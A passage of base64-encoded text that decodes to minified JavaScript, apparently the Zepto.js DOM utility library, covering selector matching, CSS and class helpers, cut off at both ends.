oYSl7cmV0dXJuIEcoYSk9PSJvYmplY3QifWZ1bmN0aW9uIEwoYSl7cmV0dXJuIEsoYSkmJiFJKGEpJiZPYmplY3QuZ2V0UHJvdG90eXBlT2YoYSk9PU9iamVjdC5wcm90b3R5cGV9ZnVuY3Rpb24gTShhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEFycmF5fWZ1bmN0aW9uIE4oYSl7cmV0dXJuIHR5cGVvZiBhLmxlbmd0aD09Im51bWJlciJ9ZnVuY3Rpb24gTyhhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYSl7cmV0dXJuIGEhPW51bGx9KX1mdW5jdGlvbiBQKGEpe3JldHVybiBhLmxlbmd0aD4wP2MuZm4uY29uY2F0LmFwcGx5KFtdLGEpOmF9ZnVuY3Rpb24gUShhKXtyZXR1cm4gYS5yZXBsYWNlKC86Oi9nLCIvIikucmVwbGFjZSgvKFtBLVpdKykoW0EtWl1bYS16XSkvZywiJDFfJDIiKS5yZXBsYWNlKC8oW2EtelxkXSkoW0EtWl0pL2csIiQxXyQyIikucmVwbGFjZSgvXy9nLCItIikudG9Mb3dlckNhc2UoKX1mdW5jdGlvbiBSKGEpe3JldHVybiBhIGluIGo/althXTpqW2FdPW5ldyBSZWdFeHAoIihefFxccykiK2ErIihcXHN8JCkiKX1mdW5jdGlvbiBTKGEsYil7cmV0dXJuIHR5cGVvZiBiPT0ibnVtYmVyIiYmIWtbUShhKV0/YisicHgiOmJ9ZnVuY3Rpb24gVChhKXt2YXIgYixjO3JldHVybiBpW2FdfHwoYj1oLmNyZWF0ZUVsZW1lbnQoYSksaC5ib2R5LmFwcGVuZENoaWxkKGIpLGM9Z2V0Q29tcHV0ZWRTdHlsZShiLCIiKS5nZXRQcm9wZXJ0eVZhbHVlKCJkaXNwbGF5IiksYi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGIpLGM9PSJub25lIiYmKGM9ImJsb2NrIiksaVthXT1jKSxpW2FdfWZ1bmN0aW9uIFUoYSl7cmV0dXJuImNoaWxkcmVuImluIGE/Zi5jYWxsKGEuY2hpbGRyZW4pOmMubWFwKGEuY2hpbGROb2RlcyxmdW5jdGlvbihhKXtpZihhLm5vZGVUeXBlPT0xKXJldHVybiBhfSl9ZnVuY3Rpb24gVihjLGQsZSl7Zm9yKGIgaW4gZCllJiYoTChkW2JdKXx8TShkW2JdKSk/KEwoZFtiXSkmJiFMKGNbYl0pJiYoY1tiXT17fSksTShkW2JdKSYmIU0oY1tiXSkmJihjW2JdPVtdKSxWKGNbYl0sZFtiXSxlKSk6ZFtiXSE9PWEmJihjW2JdPWRbYl0pfWZ1bmN0aW9uIFcoYSxiKXtyZXR1cm4gYj09bnVsbD9jKGEpOmMoYSkuZmlsdGVyKGIpfWZ1bmN0aW9uIFgoYSxiLGMsZCl7cmV0dXJuIEgoYik/Yi5jYWxsKGEsYyxkKTpifWZ1bmN0aW9uIFkoYSxiLGMpe2M9PW51bGw/YS5yZW1vdmVBdHRyaWJ1dGUoYik6YS5zZXRBdHRyaWJ1dGUoYixjKX1mdW5jdGlvbiBaKGIsYyl7dmFyIGQ9Yi5jbGFzc05hbWUsZT1kJiZkLmJhc2VWYWwhPT1hO2lmKGM9PT1hKXJldHVybiBlP2QuYmFzZVZhbDpkO2U/ZC5iYXNlVmFsPWM6Yi5jbGFzc05hbWU9Y31mdW5jdGlvbiAkKGEpe3ZhciBiO3RyeXtyZXR1cm4gYT9hPT0idHJ1ZSJ8fChhPT0iZmFsc2UiPyExOmE9PSJudWxsIj9udWxsOiEvXjAvLnRlc3QoYSkmJiFpc05hTihiPU51bWJlcihhKSk/YjovXltcW1x7XS8udGVzdChhKT9jLnBhcnNlSlNPTihhKTphKTphfWNhdGNoKGQpe3JldHVybiBhfX1mdW5jdGlvbiBfKGEsYil7YihhKTtmb3IodmFyIGMgaW4gYS5jaGlsZE5vZGVzKV8oYS5jaGlsZE5vZGVzW2NdLGIpfXZhciBhLGIsYyxkLGU9W10sZj1lLnNsaWNlLGc9ZS5maWx0ZXIsaD13aW5kb3cuZG9jdW1lbnQsaT17fSxqPXt9LGs9eyJjb2x1bW4tY291bnQiOjEsY29sdW1uczoxLCJmb250LXdlaWdodCI6MSwibGluZS1oZWlnaHQiOjEsb3BhY2l0eToxLCJ6LWluZGV4IjoxLHpvb206MX0sbD0vXlxzKjwoXHcrfCEpW14+XSo+LyxtPS9ePChcdyspXHMqXC8/Pig/OjxcL1wxPnwpJC8sbj0vPCg/IWFyZWF8YnJ8Y29sfGVtYmVkfGhyfGltZ3xpbnB1dHxsaW5rfG1ldGF8cGFyYW0pKChbXHc6XSspW14+XSopXC8+L2lnLG89L14oPzpib2R5fGh0bWwpJC9pLHA9LyhbQS1aXSkvZyxxPVsidmFsIiwiY3NzIiwiaHRtbCIsInRleHQiLCJkYXRhIiwid2lkdGgiLCJoZWlnaHQiLCJvZmZzZXQiXSxyPVsiYWZ0ZXIiLCJwcmVwZW5kIiwiYmVmb3JlIiwiYXBwZW5kIl0scz1oLmNyZWF0ZUVsZW1lbnQoInRhYmxlIiksdD1oLmNyZWF0ZUVsZW1lbnQoInRyIiksdT17dHI6aC5jcmVhdGVFbGVtZW50KCJ0Ym9keSIpLHRib2R5OnMsdGhlYWQ6cyx0Zm9vdDpzLHRkOnQsdGg6dCwiKiI6aC5jcmVhdGVFbGVtZW50KCJkaXYiKX0sdj0vY29tcGxldGV8bG9hZGVkfGludGVyYWN0aXZlLyx3PS9eXC4oW1x3LV0rKSQvLHg9L14jKFtcdy1dKikkLyx5PS9eW1x3LV0qJC8sej17fSxBPXoudG9TdHJpbmcsQj17fSxDLEQsRT1oLmNyZWF0ZUVsZW1lbnQoImRpdiIpLEY9e3RhYmluZGV4OiJ0YWJJbmRleCIscmVhZG9ubHk6InJlYWRPbmx5IiwiZm9yIjoiaHRtbEZvciIsImNsYXNzIjoiY2xhc3NOYW1lIixtYXhsZW5ndGg6Im1heExlbmd0aCIsY2VsbHNwYWNpbmc6ImNlbGxTcGFjaW5nIixjZWxscGFkZGluZzoiY2VsbFBhZGRpbmciLHJvd3NwYW46InJvd1NwYW4iLGNvbHNwYW46ImNvbFNwYW4iLHVzZW1hcDoidXNlTWFwIixmcmFtZWJvcmRlcjoiZnJhbWVCb3JkZXIiLGNvbnRlbnRlZGl0YWJsZToiY29udGVudEVkaXRhYmxlIn07cmV0dXJuIEIubWF0Y2hlcz1mdW5jdGlvbihhLGIpe2lmKCFifHwhYXx8YS5ub2RlVHlwZSE9PTEpcmV0dXJuITE7dmFyIGM9YS53ZWJraXRNYXRjaGVzU2VsZWN0b3J8fGEubW96TWF0Y2hlc1NlbGVjdG9yfHxhLm9NYXRjaGVzU2VsZWN0b3J8fGEubWF0Y2hlc1NlbGVjdG9yO2lmKGMpcmV0dXJuIGMuY2FsbChhLGIpO3ZhciBkLGU9YS5wYXJlbnROb2RlLGY9IWU7cmV0dXJuIGYmJihlPUUpLmFwcGVuZENoaWxkKGEpLGQ9fkIucXNhKGUsYikuaW5kZXhPZihhKSxmJiZFLnJlbW92ZUNoaWxkKGEpLGR9LEM9ZnVuY3Rpb24oYSl7cmV0dXJuIGEucmVwbGFjZSgvLSsoLik/L2csZnVuY3Rpb24oYSxiKXtyZXR1cm4gYj9iLnRvVXBwZXJDYXNlKCk6IiJ9KX0sRD1mdW5jdGlvbihhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5pbmRleE9mKGIpPT1jfSl9LEIuZnJhZ21lbnQ9ZnVuY3Rpb24oYixkLGUpe3ZhciBnLGksajtyZXR1cm4gbS50ZXN0KGIpJiYoZz1jKGguY3JlYXRlRWxlbWVudChSZWdFeHAuJDEpKSksZ3x8KGIucmVwbGFjZSYmKGI9Yi5yZXBsYWNlKG4sIjwkMT48LyQyPiIpKSxkPT09YSYmKGQ9bC50ZXN0KGIpJiZSZWdFeHAuJDEpLGQgaW4gdXx8KGQ9IioiKSxqPXVbZF0sai5pbm5lckhUTUw9IiIrYixnPWMuZWFjaChmLmNhbGwoai5jaGlsZE5vZGVzKSxmdW5jdGlvbigpe2oucmVtb3ZlQ2hpbGQodGhpcyl9KSksTChlKSYmKGk9YyhnKSxjLmVhY2goZSxmdW5jdGlvbihhLGIpe3EuaW5kZXhPZihhKT4tMT9pW2FdKGIpOmkuYXR0cihhLGIpfSkpLGd9LEIuWj1mdW5jdGlvbihhLGIpe3JldHVybiBhPWF8fFtdLGEuX19wcm90b19fPWMuZm4sYS5zZWxlY3Rvcj1ifHwiIixhfSxCLmlzWj1mdW5jdGlvbihhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEIuWn0sQi5pbml0PWZ1bmN0aW9uKGIsZCl7dmFyIGU7aWYoIWIpcmV0dXJuIEIuWigpO2lmKHR5cGVvZiBiPT0ic3RyaW5nIil7Yj1iLnRyaW0oKTtpZihiWzBdPT0iPCImJmwudGVzdChiKSllPUIuZnJhZ21lbnQoYixSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fWVsc2V7aWYoSChiKSlyZXR1cm4gYyhoKS5yZWFkeShiKTtpZihCLmlzWihiKSlyZXR1cm4gYjtpZihNKGIpKWU9TyhiKTtlbHNlIGlmKEsoYikpZT1bYl0sYj1udWxsO2Vsc2UgaWYobC50ZXN0KGIpKWU9Qi5mcmFnbWVudChiLnRyaW0oKSxSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fXJldHVybiBCLlooZSxiKX0sYz1mdW5jdGlvbihhLGIpe3JldHVybiBCLmluaXQoYSxiKX0sYy5leHRlbmQ9ZnVuY3Rpb24oYSl7dmFyIGIsYz1mLmNhbGwoYXJndW1lbnRzLDEpO3JldHVybiB0eXBlb2YgYT09ImJvb2xlYW4iJiYoYj1hLGE9Yy5zaGlmdCgpKSxjLmZvckVhY2goZnVuY3Rpb24oYyl7VihhLGMsYil9KSxhfSxCLnFzYT1mdW5jdGlvbihhLGIpe3ZhciBjLGQ9YlswXT09IiMiLGU9IWQmJmJbMF09PSIuIixnPWR8fGU/Yi5zbGljZSgxKTpiLGg9eS50ZXN0KGcpO3JldHVybiBKKGEpJiZoJiZkPyhjPWEuZ2V0RWxlbWVudEJ5SWQoZykpP1tjXTpbXTphLm5vZGVUeXBlIT09MSYmYS5ub2RlVHlwZSE9PTk/W106Zi5jYWxsKGgmJiFkP2U/YS5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGcpOmEuZ2V0RWxlbWVudHNCeVRhZ05hbWUoYik6YS5xdWVyeVNlbGVjdG9yQWxsKGIpKX0sYy5jb250YWlucz1mdW5jdGlvbihhLGIpe3JldHVybiBhIT09YiYmYS5jb250YWlucyhiKX0sYy50eXBlPUcsYy5pc0Z1bmN0aW9uPUgsYy5pc1dpbmRvdz1JLGMuaXNBcnJheT1NLGMuaXNQbGFpbk9iamVjdD1MLGMuaXNFbXB0eU9iamVjdD1mdW5jdGlvbihhKXt2YXIgYjtmb3IoYiBpbiBhKXJldHVybiExO3JldHVybiEwfSxjLmluQXJyYXk9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiBlLmluZGV4T2YuY2FsbChiLGEsYyl9LGMuY2FtZWxDYXNlPUMsYy50cmltPWZ1bmN0aW9uKGEpe3JldHVybiBhPT1udWxsPyIiOlN0cmluZy5wcm90b3R5cGUudHJpbS5jYWxsKGEpfSxjLnV1aWQ9MCxjLnN1cHBvcnQ9e30sYy5leHByPXt9LGMubWFwPWZ1bmN0aW9uKGEsYil7dmFyIGMsZD1bXSxlLGY7aWYoTihhKSlmb3IoZT0wO2U8YS5sZW5ndGg7ZSsrKWM9YihhW2VdLGUpLGMhPW51bGwmJmQucHVzaChjKTtlbHNlIGZvcihmIGluIGEpYz1iKGFbZl0sZiksYyE9bnVsbCYmZC5wdXNoKGMpO3JldHVybiBQKGQpfSxjLmVhY2g9ZnVuY3Rpb24oYSxiKXt2YXIgYyxkO2lmKE4oYSkpe2ZvcihjPTA7YzxhLmxlbmd0aDtjKyspaWYoYi5jYWxsKGFbY10sYyxhW2NdKT09PSExKXJldHVybiBhfWVsc2UgZm9yKGQgaW4gYSlpZihiLmNhbGwoYVtkXSxkLGFbZF0pPT09ITEpcmV0dXJuIGE7cmV0dXJuIGF9LGMuZ3JlcD1mdW5jdGlvbihhLGIpe3JldHVybiBnLmNhbGwoYSxiKX0sd2luZG93LkpTT04mJihjLnBhcnNlSlNPTj1KU09OLnBhcnNlKSxjLmVhY2goIkJvb2xlYW4gTnVtYmVyIFN0cmluZyBGdW5jdGlvbiBBcnJheSBEYXRlIFJlZ0V4cCBPYmplY3QgRXJyb3IiLnNwbGl0KCIgIiksZnVuY3Rpb24oYSxiKXt6WyJbb2JqZWN0ICIrYisiXSJdPWIudG9Mb3dlckNhc2UoKX0pLGMuZm49e2ZvckVhY2g6ZS5mb3JFYWNoLHJlZHVjZTplLnJlZHVjZSxwdXNoOmUucHVzaCxzb3J0OmUuc29ydCxpbmRleE9mOmUuaW5kZXhPZixjb25jYXQ6ZS5jb25jYXQsbWFwOmZ1bmN0aW9uKGEpe3JldHVybiBjKGMubWFwKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKX0pKX0sc2xpY2U6ZnVuY3Rpb24oKXtyZXR1cm4gYyhmLmFwcGx5KHRoaXMsYXJndW1lbnRzKSl9LHJlYWR5OmZ1bmN0aW9uKGEpe3JldHVybiB2LnRlc3QoaC5yZWFkeVN0YXRlKSYmaC5ib2R5P2EoYyk6aC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixmdW5jdGlvbigpe2EoYyl9LCExKSx0aGlzfSxnZXQ6ZnVuY3Rpb24oYil7cmV0dXJuIGI9PT1hP2YuY2FsbCh0aGlzKTp0aGlzW2I+PTA/YjpiK3RoaXMubGVuZ3RoXX0sdG9BcnJheTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmdldCgpfSxzaXplOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubGVuZ3RofSxyZW1vdmU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5wYXJlbnROb2RlIT1udWxsJiZ0aGlzLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodGhpcyl9KX0sZWFjaDpmdW5jdGlvbihhKXtyZXR1cm4gZS5ldmVyeS5jYWxsKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKSE9PSExfSksdGhpc30sZmlsdGVyOmZ1bmN0aW9uKGEpe3JldHVybiBIKGEpP3RoaXMubm90KHRoaXMubm90KGEpKTpjKGcuY2FsbCh0aGlzLGZ1bmN0aW9uKGIpe3JldHVybiBCLm1hdGNoZXMoYixhKX0pKX0sYWRkOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGMoRCh0aGlzLmNvbmNhdChjKGEsYikpKSl9LGlzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmxlbmd0aD4wJiZCLm1hdGNoZXModGhpc1swXSxhKX0sbm90OmZ1bmN0aW9uKGIpe3ZhciBkPVtdO2lmKEgoYikmJmIuY2FsbCE9PWEpdGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2IuY2FsbCh0aGlzLGEpfHxkLnB1c2godGhpcyl9KTtlbHNle3ZhciBlPXR5cGVvZiBiPT0ic3RyaW5nIj90aGlzLmZpbHRlcihiKTpOKGIpJiZIKGIuaXRlbSk/Zi5jYWxsKGIpOmMoYik7dGhpcy5mb3JFYWNoKGZ1bmN0aW9uKGEpe2UuaW5kZXhPZihhKTwwJiZkLnB1c2goYSl9KX1yZXR1cm4gYyhkKX0saGFzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe3JldHVybiBLKGEpP2MuY29udGFpbnModGhpcyxhKTpjKHRoaXMpLmZpbmQoYSkuc2l6ZSgpfSl9LGVxOmZ1bmN0aW9uKGEpe3JldHVybiBhPT09LTE/dGhpcy5zbGljZShhKTp0aGlzLnNsaWNlKGEsK2ErMSl9LGZpcnN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1swXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxsYXN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1t0aGlzLmxlbmd0aC0xXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxmaW5kOmZ1bmN0aW9uKGEpe3ZhciBiLGQ9dGhpcztyZXR1cm4gdHlwZW9mIGE9PSJvYmplY3QiP2I9YyhhKS5maWx0ZXIoZnVuY3Rpb24oKXt2YXIgYT10aGlzO3JldHVybiBlLnNvbWUuY2FsbChkLGZ1bmN0aW9uKGIpe3JldHVybiBjLmNvbnRhaW5zKGIsYSl9KX0pOnRoaXMubGVuZ3RoPT0xP2I9YyhCLnFzYSh0aGlzWzBdLGEpKTpiPXRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIEIucXNhKHRoaXMsYSl9KSxifSxjbG9zZXN0OmZ1bmN0aW9uKGEsYil7dmFyIGQ9dGhpc1swXSxlPSExO3R5cGVvZiBhPT0ib2JqZWN0IiYmKGU9YyhhKSk7d2hpbGUoZCYmIShlP2UuaW5kZXhPZihkKT49MDpCLm1hdGNoZXMoZCxhKSkpZD1kIT09YiYmIUooZCkmJmQucGFyZW50Tm9kZTtyZXR1cm4gYyhkKX0scGFyZW50czpmdW5jdGlvbihhKXt2YXIgYj1bXSxkPXRoaXM7d2hpbGUoZC5sZW5ndGg+MClkPWMubWFwKGQsZnVuY3Rpb24oYSl7aWYoKGE9YS5wYXJlbnROb2RlKSYmIUooYSkmJmIuaW5kZXhPZihhKTwwKXJldHVybiBiLnB1c2goYSksYX0pO3JldHVybiBXKGIsYSl9LHBhcmVudDpmdW5jdGlvbihhKXtyZXR1cm4gVyhEKHRoaXMucGx1Y2soInBhcmVudE5vZGUiKSksYSl9LGNoaWxkcmVuOmZ1bmN0aW9uKGEpe3JldHVybiBXKHRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIFUodGhpcyl9KSxhKX0sY29udGVudHM6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gZi5jYWxsKHRoaXMuY2hpbGROb2Rlcyl9KX0sc2libGluZ3M6ZnVuY3Rpb24oYSl7cmV0dXJuIFcodGhpcy5tYXAoZnVuY3Rpb24oYSxiKXtyZXR1cm4gZy5jYWxsKFUoYi5wYXJlbnROb2RlKSxmdW5jdGlvbihhKXtyZXR1cm4gYSE9PWJ9KX0pLGEpfSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLmlubmVySFRNTD0iIn0pfSxwbHVjazpmdW5jdGlvbihhKXtyZXR1cm4gYy5tYXAodGhpcyxmdW5jdGlvbihiKXtyZXR1cm4gYlthXX0pfSxzaG93OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuZGlzcGxheT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PSIiKSxnZXRDb21wdXRlZFN0eWxlKHRoaXMsIiIpLmdldFByb3BlcnR5VmFsdWUoImRpc3BsYXkiKT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PVQodGhpcy5ub2RlTmFtZSkpfSl9LHJlcGxhY2VXaXRoOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmJlZm9yZShhKS5yZW1vdmUoKX0sd3JhcDpmdW5jdGlvbihhKXt2YXIgYj1IKGEpO2lmKHRoaXNbMF0mJiFiKXZhciBkPWMoYSkuZ2V0KDApLGU9ZC5wYXJlbnROb2RlfHx0aGlzLmxlbmd0aD4xO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZil7Yyh0aGlzKS53cmFwQWxsKGI/YS5jYWxsKHRoaXMsZik6ZT9kLmNsb25lTm9kZSghMCk6ZCl9KX0sd3JhcEFsbDpmdW5jdGlvbihhKXtpZih0aGlzWzBdKXtjKHRoaXNbMF0pLmJlZm9yZShhPWMoYSkpO3ZhciBiO3doaWxlKChiPWEuY2hpbGRyZW4oKSkubGVuZ3RoKWE9Yi5maXJzdCgpO2MoYSkuYXBwZW5kKHRoaXMpfXJldHVybiB0aGlzfSx3cmFwSW5uZXI6ZnVuY3Rpb24oYSl7dmFyIGI9SChhKTtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGQpe3ZhciBlPWModGhpcyksZj1lLmNvbnRlbnRzKCksZz1iP2EuY2FsbCh0aGlzLGQpOmE7Zi5sZW5ndGg/Zi53cmFwQWxsKGcpOmUuYXBwZW5kKGcpfSl9LHVud3JhcDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnBhcmVudCgpLmVhY2goZnVuY3Rpb24oKXtjKHRoaXMpLnJlcGxhY2VXaXRoKGModGhpcykuY2hpbGRyZW4oKSl9KSx0aGlzfSxjbG9uZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiB0aGlzLmNsb25lTm9kZSghMCl9KX0saGlkZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmNzcygiZGlzcGxheSIsIm5vbmUiKX0sdG9nZ2xlOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt2YXIgZD1jKHRoaXMpOyhiPT09YT9kLmNzcygiZGlzcGxheSIpPT0ibm9uZSI6Yik/ZC5zaG93KCk6ZC5oaWRlKCl9KX0scHJldjpmdW5jdGlvbihhKXtyZXR1cm4gYyh0aGlzLnBsdWNrKCJwcmV2aW91c0VsZW1lbnRTaWJsaW5nIikpLmZpbHRlcihhfHwiKiIpfSxuZXh0OmZ1bmN0aW9uKGEpe3JldHVybiBjKHRoaXMucGx1Y2soIm5leHRFbGVtZW50U2libGluZyIpKS5maWx0ZXIoYXx8IioiKX0saHRtbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpcy5sZW5ndGg+MD90aGlzWzBdLmlubmVySFRNTDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD10aGlzLmlubmVySFRNTDtjKHRoaXMpLmVtcHR5KCkuYXBwZW5kKFgodGhpcyxhLGIsZCkpfSl9LHRleHQ6ZnVuY3Rpb24oYil7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg9PT0wP3RoaXMubGVuZ3RoPjA/dGhpc1swXS50ZXh0Q29udGVudDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMudGV4dENvbnRlbnQ9Yj09PWE/IiI6IiIrYn0pfSxhdHRyOmZ1bmN0aW9uKGMsZCl7dmFyIGU7cmV0dXJuIHR5cGVvZiBjPT0ic3RyaW5nIiYmZD09PWE/dGhpcy5sZW5ndGg9PTB8fHRoaXNbMF0ubm9kZVR5cGUhPT0xP2E6Yz09InZhbHVlIiYmdGhpc1swXS5ub2RlTmFtZT09IklOUFVUIj90aGlzLnZhbCgpOiEoZT10aGlzWzBdLmdldEF0dHJpYnV0ZShjKSkmJmMgaW4gdGhpc1swXT90aGlzWzBdW2NdOmU6dGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2lmKHRoaXMubm9kZVR5cGUhPT0xKXJldHVybjtpZihLKGMpKWZvcihiIGluIGMpWSh0aGlzLGIsY1tiXSk7ZWxzZSBZKHRoaXMsYyxYKHRoaXMsZCxhLHRoaXMuZ2V0QXR0cmlidXRlKGMpKSl9KX0scmVtb3ZlQXR0cjpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5ub2RlVHlwZT09PTEmJlkodGhpcyxhKX0pfSxwcm9wOmZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9RltiXXx8YixjPT09YT90aGlzWzBdJiZ0aGlzWzBdW2JdOnRoaXMuZWFjaChmdW5jdGlvbihhKXt0aGlzW2JdPVgodGhpcyxjLGEsdGhpc1tiXSl9KX0sZGF0YTpmdW5jdGlvbihiLGMpe3ZhciBkPXRoaXMuYXR0cigiZGF0YS0iK2IucmVwbGFjZShwLCItJDEiKS50b0xvd2VyQ2FzZSgpLGMpO3JldHVybiBkIT09bnVsbD8kKGQpOmF9LHZhbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpc1swXSYmKHRoaXNbMF0ubXVsdGlwbGU/Yyh0aGlzWzBdKS5maW5kKCJvcHRpb24iKS5maWx0ZXIoZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zZWxlY3RlZH0pLnBsdWNrKCJ2YWx1ZSIpOnRoaXNbMF0udmFsdWUpOnRoaXMuZWFjaChmdW5jdGlvbihiKXt0aGlzLnZhbHVlPVgodGhpcyxhLGIsdGhpcy52YWx1ZSl9KX0sb2Zmc2V0OmZ1bmN0aW9uKGEpe2lmKGEpcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD1jKHRoaXMpLGU9WCh0aGlzLGEsYixkLm9mZnNldCgpKSxmPWQub2Zmc2V0UGFyZW50KCkub2Zmc2V0KCksZz17dG9wOmUudG9wLWYudG9wLGxlZnQ6ZS5sZWZ0LWYubGVmdH07ZC5jc3MoInBvc2l0aW9uIik9PSJzdGF0aWMiJiYoZy5wb3NpdGlvbj0icmVsYXRpdmUiKSxkLmNzcyhnKX0pO2lmKHRoaXMubGVuZ3RoPT0wKXJldHVybiBudWxsO3ZhciBiPXRoaXNbMF0uZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7cmV0dXJue2xlZnQ6Yi5sZWZ0K3dpbmRvdy5wYWdlWE9mZnNldCx0b3A6Yi50b3Ard2luZG93LnBhZ2VZT2Zmc2V0LHdpZHRoOk1hdGgucm91bmQoYi53aWR0aCksaGVpZ2h0Ok1hdGgucm91bmQoYi5oZWlnaHQpfX0sY3NzOmZ1bmN0aW9uKGEsZCl7aWYoYXJndW1lbnRzLmxlbmd0aDwyKXt2YXIgZT10aGlzWzBdLGY9Z2V0Q29tcHV0ZWRTdHlsZShlLCIiKTtpZighZSlyZXR1cm47aWYodHlwZW9mIGE9PSJzdHJpbmciKXJldHVybiBlLnN0eWxlW0MoYSldfHxmLmdldFByb3BlcnR5VmFsdWUoYSk7aWYoTShhKSl7dmFyIGc9e307cmV0dXJuIGMuZWFjaChNKGEpP2E6W2FdLGZ1bmN0aW9uKGEsYil7Z1tiXT1lLnN0eWxlW0MoYildfHxmLmdldFByb3BlcnR5VmFsdWUoYil9KSxnfX12YXIgaD0iIjtpZihHKGEpPT0ic3RyaW5nIikhZCYmZCE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGEpKX0pOmg9UShhKSsiOiIrUyhhLGQpO2Vsc2UgZm9yKGIgaW4gYSkhYVtiXSYmYVtiXSE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGIpKX0pOmgrPVEoYikrIjoiK1MoYixhW2JdKSsiOyI7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuY3NzVGV4dCs9IjsiK2h9KX0saW5kZXg6ZnVuY3Rpb24oYSl7cmV0dXJuIGE/dGhpcy5pbmRleE9mKGMoYSlbMF0pOnRoaXMucGFyZW50KCkuY2hpbGRyZW4oKS5pbmRleE9mKHRoaXNbMF0pfSxoYXNDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT9lLnNvbWUuY2FsbCh0aGlzLGZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnRlc3QoWihhKSl9LFIoYSkpOiExfSxhZGRDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmVhY2goZnVuY3Rpb24oYil7ZD1bXTt2YXIgZT1aKHRoaXMpLGY9WCh0aGlzLGEsYixlKTtmLnNwbGl0KC9ccysvZykuZm9yRWFjaChmdW5jdGlvbihhKXtjKHRoaXMpLmhhc0NsYXNzKGEpfHxkLnB1c2goYSl9LHRoaXMpLGQubGVuZ3RoJiZaKHRoaXMsZSsoZT8iICI6IiIpK2Quam9pbigiICIpKX0pOnRoaXN9LHJlbW92ZUNsYXNzOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oYyl7aWYoYj09PWEpcmV0dXJuIFoodGhpcywiIik7ZD1aKHRoaXMpLFgodGhpcyxiLGMsZCkuc3BsaXQoL1xzKy9nKS5mb3JFYWNoKGZ1bmN0aW9uKGEpe2Q9ZC5yZXBsYWNlKFIoYSksIiAiKX0pLFoodGhpcyxkLnRyaW0oKSl9KX0sdG9nZ2xlQ2xhc3M6ZnVuY3Rpb24oYixkKXtyZXR1cm4gYj90aGlzLmVhY2goZnVuY3Rpb24oZSl7dmFyIGY9Yyh0aGlzKSxnPVgodGhpcyxiLGUsWih0aGlzKSk7Zy5zcGxpdCgvXHMrL2cpLmZvckVhY2goZnVuY3Rpb24oYil7KGQ9PT1hPyFmLmhhc0NsYXNzKGIpOmQpP2YuYWRkQ2xhc3MoYik6Zi5yZW1vdmVD